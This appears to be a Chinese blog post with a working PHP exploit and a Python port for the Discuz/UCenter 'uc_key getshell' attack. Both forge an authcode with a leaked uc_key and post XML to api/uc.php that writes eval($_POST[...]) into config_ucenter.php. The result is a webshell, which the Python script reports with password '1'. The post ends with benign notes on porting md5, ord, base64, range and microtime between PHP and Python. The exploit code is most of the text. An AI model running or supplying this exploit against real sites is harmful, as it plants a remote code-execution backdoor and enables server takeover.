php代码
<?php // 代码版权归原作者所有! $timestamp = time()+10*3600; $host="localhost:8080"; $uc_key="W7Qbc6K5O8Lb3fZ1b5Zaz984acI94dO4Mb00m24abcJ0c1Q669A3yb60HaQ4A101"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /dz3utf8/upload/api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
python代码:
#! /usr/bin/env python #coding=utf-8 import hashlib import time import math import base64 import urllib import urllib2 import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' 发送命令获取webshell ''' headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[1]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "访问出错" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" return "webshell:"+host+"/config/config_ucenter.php,password:1" if __name__ == '__main__': host=sys.argv[1] key=sys.argv[2] url=host+"/api/uc.php" print get_shell(url,key,host)
学到的知识:
1、urllib2模块使用可以参考:http://my.oschina.net/duhaizhang/blog/69342
2、python的time模块,参考:http://www.2cto.com/kf/201110/108205.html
3、字符串的一些操作方法,参考:http://hi.baidu.com/life_to_you/item/b31c8db8ba467fe84ec7fd04
http://www.cnblogs.com/huangcong/archive/2011/08/29/2158268.html
4、python中进行base64编码和解码,参考:http://blog.csdn.net/lxdcyh/article/details/4021476
5、php和python中range()的区别
6、php的microtime()函数的python实现 参考:http://blog.163.com/squall_smile/blog/static/60349840201352083410817/
一、md5函数
在php中是直接有md5()函数的,该函数可以将字符串生成相应的字符串。而python则需要hashlib的帮助。使用hashlib.md5(‘字符串’).hexdigest()来生成字符串的md5值。
二、ord() 函数
python和php的ord() 函数基本功能是一样的。不过php的ord函数的参数可以是一个字符串,返回字符串第一个字符的 ASCII 值。而python的ord函数的参数只能是一个字符,不能是字符串,返回该字符对应的ASCII值。
四、python中进行base64编码和解码
Base64编码是一种“防君子不防小人”的编码方式。广泛应用于MIME协议,作为电子邮件的传输编码,生成的编码可逆,后一两位可能有“=”,生成的编码都是ascii字符。优点:速度快,ascii字符,肉眼不可理解。缺点:编码比较长,非常容易被破解,仅适用于加密非关键信息的场合。
python中与base64编码的模块是base64。base64编码使用base64.b64encode()函数,base64解码使用base64.b64decode()函数。
使用过程如下:
五、php和python中range()函数的区别
在php中,range(start,end)函数会生成一个数组,注意数组的值是从start到end的(是包含end的)。
而在python中,range(start,end)是生成一个序列的,值是从start开始,到end前一个数结束,是不包括end的。
六、php的microtime()函数的python实现
php的microtime()函数返回当前 Unix 时间戳和微秒数。如返回0.25139300 1138197510。
其对应的python实现如下:
def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time())
转载请注明:jinglingshu的博客 » 写uc_key getshell php/python exp时学到的知识